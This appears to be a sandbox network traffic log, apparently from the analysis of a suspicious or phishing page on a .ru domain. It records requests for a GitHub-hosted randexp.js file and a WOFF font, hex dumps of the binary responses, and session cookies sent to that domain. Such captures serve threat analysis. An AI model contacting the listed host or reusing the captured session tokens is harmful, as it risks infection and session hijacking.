2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 03 75 f4 b1 1c 11 80 ff ca f3 72 0d 00 49 18 00 8e 3f 2f 8d 31 03 75 c2 71 34 2f 90 38 8d ce f6 02 f1 2e 99 22 cb 68 8c 5f 71 51 76 58 9a 29 0a 40 2d b9 27 a4 bc 5a aa f4 c7 04 4f ec 85 48 0f 5d 5c 2e a2 b2 58 05 6b 6c fd a5 09 9a bc ad b4 07 ed 59 fb 47 29 c9 8d 4d ea 8e b9 57 56 f5 4d c2 3d 8a 84 a9 60 2a 9b ae ce 18 b0 25 26 d8 83 3a fc 48 b0 78 c9 ce b4 7c 6e cb e9 82 ae eb 96 be de 7f ea 6f fa bf 99 97 a0 34 c3 67 ea cc 9c 53 66 dd dc 38 37 cd ed 33 6b 5e 99 7f 99 ff 5a 08 2e 3c 16 f8 c5 f0 a2 6d d1 bd 60 2e e6 16 df 2e 7e 83 78 01 5a 28 cd 21 12 47 42 46 a1 6e 97 dd 82 54 aa d6 ae 4b b7 61 e3 26 4c 59 b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c Data Ascii: urI?/1uq4/8."h_qQvX)@-'ZOH]\.XklYG)MWVM=`*%&:Hx\|no4gSf873k^Z.<m`..~xZ(!GBFnTKa&LYl\w`1]JY-s-XdUkmwaG
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 99 36 84 b0 f4 46 7e 5a 7b 61 cb ce 38 7e 18 10 15 5a 16 2a dd 9d 07 cd 21 1f 79 7a 00 95 f6 00 6a a7 b6 7b 71 25 61 96 bf 64 1c 1e 9e 9b c6 7a 4b 2d 5e ca d6 b0 97 ff 3f 8d 57 52 7d 30 28 fc 2e bc 7e fd 90 34 de 54 c9 b1 e6 c0 08 ee e4 96 9a 1e 6b 45 c5 4e d6 97 57 40 eb 12 8f 15 b0 35 9f 31 43 a2 f8 ff b9 61 4a 0a 90 ae 5e 88 f3 1f 3c 2d 4f 42 88 ef c2 28 16 d2 73 11 28 3a ce c4 59 ff 45 25 b4 9c 70 77 4b 58 aa 75 59 34 d1 89 ae d4 8c 41 03 4d 4a 28 ac 59 68 f9 97 0b 97 a7 c8 5c 7a a8 29 fc 5a 13 ff 12 4a 26 6c 0f 5c 61 fe a4 3c dd 0c 29 39 23 3d 43 0c b0 ae 0b d9 19 f3 69 78 bc c4 1d 5d e4 a9 75 82 6c 46 dc 61 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 Data Ascii: 6F~Z{a8~Z*!yzj{q%adzK-^?WR}0(.~4TkENW@51CaJ^<-OB(s(:YE%pwKXuY4AMJ(Yh\z)ZJ&l\a<)9#=Cix]ulFaRGuYyV</m8b3g'?!#Lf$'
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: d5 60 26 6a 11 ad 15 dc e3 a8 26 8d 6b ec 3a 27 ef 4b 33 f0 4f 93 a9 e1 9e d1 f6 63 da ec d3 0e 34 e2 39 79 e1 96 a4 86 1f af ef 8c b4 a5 3c 0c 57 1a 78 27 6e 5b a1 19 51 5a 6f 9e 8b 14 d6 2d 13 b2 16 b5 3d 49 d5 e2 af d4 85 12 c4 12 ee 91 e0 52 14 13 df e1 2e 1e ee 9d 82 e2 44 81 31 46 c5 1e 9c 78 1a ff ad f7 ef bf 8f d6 ff b5 fd 1b 5d cb c9 d3 4b 33 cc 70 ea 36 ee f9 8f 5f a5 dc 84 9a 44 e9 60 b5 ec 08 71 ee 84 82 67 2e 3d 1a 27 7c 6b 5a 43 e7 17 68 d8 46 8a 12 a1 97 f0 38 b3 f5 e6 70 1a ef e8 dd 71 eb 47 29 98 b8 19 2d eb bf 92 6b e8 78 37 79 35 9b 74 56 5d 8c 52 68 57 7d 59 cc f3 f4 eb 74 4c d6 b5 c9 43 86 3d 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 Data Ascii: `&j&k:'K3Oc49y<Wx'n[QZo-=IR.D1Fx]K3p6_D`qg.='\|kZChF8pqG)-kx7y5tV]RhW}YtLC=yoPT_{9pX`c0wRB6
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 61 24 8e 27 57 80 da f3 5e 35 af bb e3 03 40 0f e0 81 d6 e4 72 a2 3b 3a ff 9a 7c e9 55 1d a5 cf 00 47 63 61 4d b9 95 2b 87 8c 8c 79 16 a5 3b b7 d7 2f 1b d8 87 8b 7a ed 18 95 8d cb 26 c5 5c 4a b2 02 cc 7d 8b bd 75 07 76 e6 ed 02 7b c5 ef cb e9 93 d3 b3 75 e5 bc 7a 71 39 ef 52 f7 a5 f9 7a 5f 53 b7 6f e1 dd 08 70 20 07 11 87 5c 0a 45 98 0a 20 6a 4f a4 91 c3 ab 40 91 22 2d 8e 05 ca d6 bb 41 86 25 66 cf 4b e5 bd 45 d9 9f 7b 70 52 76 6a 3f 5b d4 b5 e3 bc ec a2 ec f2 a8 78 68 9f c2 ef a2 46 98 0f 5f 4d ec 44 75 e6 82 ca e3 d4 75 5b 8b 57 b8 01 40 ea 79 35 09 51 44 1f 46 9c 04 65 2a 14 5c 8f c7 eb ea 99 43 c4 05 a8 5c 67 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 Data Ascii: a$'W^5@r;:\|UGcaM+y;/z&\J}uv{uzq9Rz_Sop \E jO@"-A%fKE{pRvj?[xhF_MDuu[W@y5QDFe*\C\g1Gd%0Bc~Bd2DRP7'_+R)7R$
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 3e 93 cf 06 3e 1b 6b 49 a1 3d dd c9 ed 93 0b 55 5c ed a1 7e 5d fe f5 bd df c1 ef c6 e1 00 5b b4 99 b2 b1 d3 7e 51 a2 9d 51 af 1b d3 98 e9 a0 46 47 b0 e2 79 bc 8d 5f 45 02 d2 dc cb e5 fb d9 db 53 e3 90 87 26 b4 a3 1b 4c 4c 80 a5 2e ab 9b ea 2b f5 87 8c 08 0b ac 90 dd 17 8f 39 5d f8 40 e5 8d 40 08 0b 4f 5a 89 bf 09 1f 01 c7 17 00 74 33 49 cd 2b e0 e8 fe f2 a6 77 74 6a 15 b5 ca 05 3c 90 f8 47 86 10 78 e3 96 eb c1 bd e2 c9 50 99 fe a4 89 7c ea c1 e3 ff 76 bf 77 bf 75 3b 48 25 39 ab 66 55 b4 d4 83 a5 1b 8f 6e 3e 5a 03 f8 f5 33 d8 95 10 a9 c7 aa f0 00 b0 7c e9 77 7e 33 44 09 f0 3e e0 c3 8f ff ad 45 f7 3d f5 d6 fb 5a 82 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d Data Ascii: >>kI=U\~][~QQFGy_ES&LL.+9]@@OZt3I+wtj<GxP\|vwu;H%9fUn>Z3\|w~3D>E=Zrn~~{7*/&6X=JO7?Y
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 09 f7 26 6d 00 d0 e6 10 c1 78 a2 92 9e 7e 1d 38 ac 35 b1 d9 5e c6 22 49 0b 0c 92 d0 0b e4 49 15 4a bf ad 67 1d 98 a1 a4 f1 fe 67 df 53 5e 2c 5c 2a 8e 53 83 e3 96 e3 d2 28 64 dc 36 c6 78 6c 1c e3 b5 f1 8c cf 26 30 7e 9b c8 04 6c 1a 26 68 d3 32 21 9b ae 21 c7 58 1e 44 74 e6 26 98 3a e8 ae 1d fd 9d 7c 4e 99 bb e4 53 b9 50 96 2e f9 de ae c3 d6 68 d8 d0 40 04 84 41 14 85 24 06 10 20 71 80 00 49 00 04 48 12 20 40 52 00 01 92 06 08 90 0c 40 80 64 01 02 d1 22 f5 32 ca 94 12 2a d6 a7 59 f7 74 c6 c7 08 39 45 35 7d 97 29 a3 d4 94 ca a9 90 56 12 60 c4 86 fb e6 0c 33 2f 84 32 b8 d4 a9 f2 d5 8a 3a 2a d5 84 d2 b5 c8 56 0c f5 ae 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 Data Ascii: &mx~85^"IIJggS^,\S(d6xl&0~l&h2!!XDt&:\|NSP.h@A$ qIH @R@d"2Yt9E5})V`3/2:*VK)iuC-hXC1uhO~4w'
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 27 ca e7 2a 3b b5 9b b5 5e 6d f4 12 71 64 a9 ee b5 17 4d 11 28 23 71 3b 57 2b 7a d0 27 9e 6c e8 ab a1 2c 75 38 40 b2 71 70 fd 28 b0 44 77 96 46 34 5e 7e a4 df f0 b6 3d 4a f7 af e3 54 97 b6 79 81 fa 19 dd c3 ab 9e 54 cb 57 ba 5c ff 10 96 f4 71 d9 ac ea ca 7a e7 bc ec 1b f8 05 d9 31 29 17 f9 e1 bb fb 5c 1c 5d 71 7a d8 0b cd 1c 53 fe fe b2 b4 3d 10 20 96 5c 95 bf 82 ec 7f 3a 32 4a e7 9a 90 90 57 12 7a fd 3c 0d ca 2b 2a c0 90 20 03 03 b5 15 91 74 de 12 46 09 c6 72 c2 be 42 61 8a 26 64 ef 9c cd 7f 9c 14 9e a3 37 72 fa 2f 17 51 8b c3 38 c9 eb 8e 2a 0a f9 8c 82 22 f4 76 b2 f8 94 af f1 c1 bc 1c 2c af dd 60 23 79 ad ae 50 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 Data Ascii: ';^mqdM(#q;W+z'l,u8@qp(DwF4^~=JTyTW\qz1)\]qzS= \:2JWz<+ tFrBa&d7r/Q8*"v,`#yPW=VEUa_.=(ImoFx.G\Q\|Iy]
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 83 5a ba 57 65 1c fc b8 6f e3 49 ec 6f 3b 33 20 a2 d8 b7 fc b0 6d e6 d4 d8 7f e0 70 37 98 4e be e4 a7 7d d3 d7 fe b8 6b 64 84 c3 6d fd 17 d0 66 01 77 ab d0 06 e1 ef 20 c7 14 32 5c 3c 9e f3 9e 6a bd 0b ff 41 39 d8 8a 03 fe 0f d2 46 2d e9 ed 73 8d 8c 55 99 e7 9a 82 cf 9d 96 dd 33 eb 50 4f f8 8b 60 2d 24 19 7e 2c 86 75 fc 9a 88 5f 11 f1 53 91 05 4f 52 f5 48 04 e2 a2 57 79 98 4e a0 4d da 1b f3 61 90 bc e6 d5 86 97 fa 37 e1 70 d4 90 31 be 7b 14 7b ea 31 24 e4 e7 36 ca a4 a4 4a a4 0e 3e f9 ac 08 e3 09 74 47 28 24 12 c2 91 fd 6a 5f 36 92 7e 36 f2 3d bc 8d 5c 34 a8 7e e9 db 8f 94 09 21 1b 42 3d 1b 7d 1b 34 50 c6 40 f7 f0 f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 Data Ascii: ZWeoIo;3 mp7N}kdmfw 2\<jA9F-sU3PO`-$~,u_SORHWyNMa7p1{{1$6J>tG($j_6~6=\4~!B=}4P@0W\|}8WfjsY}DKMKmB
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 37 b8 e6 da 03 dc b3 cc ab ec 24 dc aa 94 7f a2 fe e7 6c 21 4b 8d 61 62 b1 21 8c 2c 75 b2 c4 51 d7 44 c9 c4 7b d5 7b bf e6 fb 01 16 52 9c 9d 80 af 1d 73 5e db f9 da 5b e6 5d ad ba 53 6c 84 af db 02 bb 6c 2f 79 f0 fc b8 6d 5c 92 2d 9f 27 8d 77 77 77 de fd 2c db e7 ef 9d 47 08 5d c5 ae de 3f dc cd c6 73 67 a0 ac 6f 0a 42 a6 4e 55 c3 bc d7 a7 80 36 bb 3b 4c 87 0b ff 78 f8 94 3c 73 fa 29 dc f5 34 07 0c 82 1c b2 fc f6 28 25 35 ec 51 98 3e e5 79 12 ec cc 3e a8 df 54 3f b3 8d d3 4e 3d dc 25 12 7d 23 a8 1b b7 3a 7e 84 e9 5c 57 59 a1 69 f8 4e cc 13 74 cb f6 59 8a f2 c7 7b 23 1e 5c 11 6f cd 9f 0e 5a 7b 48 bd b1 a1 bc 98 60 7c 98 af e8 a1 d0 37 2c 4c e8 f3 d2 5f 18 81 47 ca 7f f4 b6 87 82 e9 75 90 42 08 38 2a 3c 44 02 86 34 04 65 98 f6 e8 c4 68 ca 84 b1 22 27 99 42 Data Ascii: 7$l!Kab!,uQD{{Rs^[]Sll/ym\-'www,G]?sgoBNU6;Lx<s)4(%5Q>y>T?N=%}#:~\WYiNtY{#\oZ{H`\|7,L_GuB8*<D4eh"'B

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	694	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://behy.jsrjesdc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:43 UTC	978	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Wed, 19 Mar 2025 13:49:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250319%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250319T134915Z&X-Amz-Expires=300&X-Amz-Signature=60f036a261c07777852747eeb75f489eb3e0eeb79a33523cce1eab2be2ed7faf&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-19 13:49:43 UTC	3369	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:43 UTC	1381	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: behy.jsrjesdc.ru Connection: keep-alive Origin: https://behy.jsrjesdc.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
2025-03-19 13:49:43 UTC	1163	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:43 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" cf-cache-status: HIT Age: 5615 Last-Modified: Wed, 19 Mar 2025 10:18:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HHfbMwy61j7PzgIaCGaItBm%2B%2Faw4k%2B7lItCBs7o2cUspAU%2FqpfY51MzF9uxBhAw%2FNCDK6guZ88V3RqlBHWYJJ8K7otdpqjYHqIW3xMq5Bd0YMIUcZGZcpKn3eUKw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=366&min_rtt=254&rtt_var=157&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2314&delivery_rate=13755102&cwnd=248&unsent_bytes=0&cid=c5c07c3aa83de143&ts=15&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 922d6f4b68d270ea-MRS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11471&min_rtt=11464&rtt_var=4313&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1953&delivery_rate=251345&cwnd=251&unsent_bytes=0&cid=ea070cdb2822738d&ts=62&x=0"
2025-03-19 13:49:43 UTC	206	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspgl
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 21 00 00 00 24 10 f8 09 15 68 6d 74 78 00 00 74 30 00 00 03 80 00 00 07 78 3f 73 90 23 6c 6f 63 61 00 00 77 b0 00 00 03 a8 00 00 03 be 4c 43 25 1c 6d 61 78 70 00 00 7b 58 00 00 00 20 00 00 00 20 03 35 0c fc 6e 61 6d 65 00 00 7b 78 00 00 02 c8 00 00 06 03 d7 eb b7 a5 70 6f 73 74 00 00 7e 40 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8a d0 00 00 00 81 00 00 00 8d 19 50 02 10 78 da ed 5c 0d 74 55 d5 95 de 3b 79 dc bc f7 08 21 be 89 21 09 10 52 8d 34 a2 22 28 08 22 2a 22 a2 55 e4 af d6 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 b0 94 89 48 01 15 31 4d 53 45 08 10 10 30 62 Data Ascii: yf!tRa$iheads36}hheat!$hmtxt0x?s#locawLC%maxp{X 5name{xpost~@1+,prepPx\tU;y!!R4"("*"UV]3r5cj._7UH1MSE0b
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: a5 a6 ac 70 bd 18 6d 4b 61 f9 cb c5 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 c6 58 02 4d 49 b1 34 05 52 c2 bd b9 98 e3 3c fc ce 87 9e 2d 14 49 25 f2 62 b4 69 0b 36 ad 37 19 98 93 2d bf 61 4b ab 41 fc c6 66 13 13 66 08 d9 03 5b 3e f6 02 78 70 93 e7 06 70 79 2c e9 1b 98 8d 1e 2b 80 b1 32 30 56 a2 d8 6d 2e 7e d7 a2 2d 4f c6 f2 82 f2 44 50 9d 06 a9 e5 63 d4 bd 88 09 07 84 ea 4a 19 69 2e 5a b5 fe 6a dd 35 2d 3f 04 4a 6a 40 49 35 74 b7 41 46 29 12 bd c9 14 8a 0a a1 a3 af 89 2c 72 78 2a 66 f9 14 24 f8 0b fc 3e 4d 03 20 89 d7 c0 39 03 f4 32 bd 0e bd d2 fd d7 c9 f1 90 1c 2b e4 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 c9 87 e7 2a 80 3e 4f 6f 29 a1 4b c0 f5 f5 f0 Data Ascii: pmKagdLPZPMxv3(_XobJXMI4R<-I%bi67-aKAff[>xppy,+20Vm.~-ODPcJi.Zj5-?Jj@I5tAF),rxf$>M 92+X1{MQPRkRA9h>Oo)K
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 5e 59 b5 2c 57 45 b2 ba 7a 4a da ea e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df 59 b5 9b 19 73 89 97 99 16 63 45 bc aa 8b 94 2f 7a 05 b8 bf 7a 54 0d 44 9e 56 25 f2 ff dc b6 75 59 0b 2e 83 37 3d a1 0e 62 3f e4 54 e6 83 ac 4a a4 19 ed 31 c9 d9 9d 7c b7 93 6c 36 c2 ca e0 c5 be c5 dc 73 a9 0d 2a 97 f2 e9 79 da 88 f3 dd ba 92 14 89 af 97 b6 35 ea 18 b4 a0 16 1e a9 c4 5e 7f a7 25 ce 93 87 70 b8 5a 56 e8 5e c5 be 28 a6 54 ef fb 7f 09 7e 73 df a7 fe a3 a5 5a 3d a3 46 c9 3a 6b 95 e9 bd cd d8 83 df 1a 55 aa 8e 22 63 ca 56 15 6a 9d f3 cc 28 3b 5b 82 07 b8 2f e6 3a da 02 0d ac a7 4b e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 73 75 9c 12 cd 35 7d c9 3c 9b 74 46 ec ca 92 Data Ascii: ^Y,WEzJv}6WA5UWTYscE/zzTDV%uY.7=b?TJ1\|l6sy5^%pZV^(T~sZ=F:kU"cVj(;[/:KaqRn[=su5}<tF
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 77 24 9b 3c 21 38 ce 39 b2 26 d3 ef 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb 9e 2d 5e bd d6 7e 16 fb 48 48 eb 0b 58 d2 34 58 fe 1e 44 fa 0f 9c 67 7a a1 55 e2 09 ac aa d6 d6 2f f5 e2 57 5d 47 89 da 5e ac f2 60 37 11 32 76 a9 10 b5 b7 d1 75 43 63 84 95 74 8f ab d2 69 c3 f9 36 d7 95 9d 7d 3d d8 69 85 64 b8 fa 78 c2 d7 2f 41 5d 01 bc c3 1a 77 14 0e ab 36 aa 2c cd 6a fd 1a af d9 8e ad 90 92 f3 6e 4d 15 da 39 5c 74 0b 6f d3 5e d4 3e 3b 45 3c e8 65 af e6 76 b0 82 61 38 6b c4 a5 ed 46 6d 68 c5 6d d7 64 d1 b4 53 f4 b2 36 aa 65 06 6d 5b b3 bc c2 17 d2 bf 41 f4 d2 d3 c9 dc 9a 5a 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 6c 34 e8 ba 57 d1 d1 7b 38 f4 f2 4b fe bc db Data Ascii: w$<!89&[<FiQ[g;y=q'9Ey -^~HHX4XDgzU/W]G^`72vuCcti6}=idx/A]w6,jnM9\to^>;E<eva8kFmhmdS6em[AZ};7iF^Tprl4W{8K
2025-03-19 13:49:43 UTC	1369	IN	Data Raw: 1e 6b 12 76 92 67 f5 a6 47 1e d1 09 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd 1d c0 8f 2c 78 c0 81 49 0e fc ad b6 db 51 2d 07 e8 fb 74 9f ec b7 03 ee a2 ef c9 de 15 56 aa 7d 77 02 7c c6 1d e8 79 87 40 7f ba 04 b6 3b 11 d0 03 b1 f4 bb c8 5a b2 2d 9f dc 0d f1 43 ff ff 25 9f 44 95 51 80 6b c8 fe 1a dd de 7a ba ce af a4 cb 71 1c 43 ee ef 5a ed d8 fb 1d 39 de 61 e1 cd 92 bf 0c d0 11 b2 37 6c ee 25 89 0f e3 24 17 60 c9 05 52 e4 6d 60 0a 28 e8 86 76 9d 35 a5 58 90 0a f8 0e 28 ed 81 27 d2 00 a9 d0 c2 74 e8 5b 86 fc 37 ad 9e 80 ef 42 93 7a c1 7a 7b 03 0c 68 57 1f 3c 95 85 67 58 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 07 70 fc 67 fa 29 f0 3e 41 4f e3 fc 97 80 4b Data Ascii: kvgG=6wZ)80<m,xIQ-tV}w\|y@;Z-C%DQkzqCZ9a7l%$`Rm`(v5X('t[7Bzz{hW<gX2T/f+RXHR pg)>AOK
